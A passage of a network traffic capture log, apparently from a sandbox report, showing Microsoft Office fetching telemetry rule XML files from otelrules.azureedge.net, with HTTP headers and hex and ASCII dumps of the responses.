2024-12-08 09:48:00 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094800Z-r1cf579d778dndrdhC1EWR4b2400000004mg000000002z7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:00 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:00 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094800Z-r1cf579d77898tqwhC1EWRf9q80000000540000000001nyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:00 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:00 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094800Z-r1cf579d77867vg8hC1EWR8knc00000004vg0000000024mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:00 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:00 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c1ecbf33-b01e-0002-2142-491b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094800Z-r1cf579d7784wpmvhC1EWRk4cn00000004e0000000002hwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:02 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:02 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094802Z-r1cf579d778xq4f9hC1EWRx41g00000004s000000000422g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:02 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:02 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:02 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094802Z-r1cf579d778t6txphC1EWRsd4400000005gg000000001naq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:02 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:02 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:02 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094802Z-r1cf579d778dfdgnhC1EWRd3w000000004v0000000001hza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:02 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:02 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094802Z-r1cf579d778g2t6ghC1EWRfggs00000004eg000000001k32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:02 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:02 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:02 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094802Z-r1cf579d778t6txphC1EWRsd4400000005mg00000000019m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:02 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:04 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:04 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 5b9ff148-a01e-000d-0606-48d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094804Z-r1cf579d778d5zkmhC1EWRk6h800000005bg0000000044ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:05 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:04 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:04 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094804Z-r1cf579d7786c2tshC1EWRr1gc00000004h0000000003w7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:05 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:04 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094804Z-r1cf579d778w59f9hC1EWRze6w000000054g000000004rqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
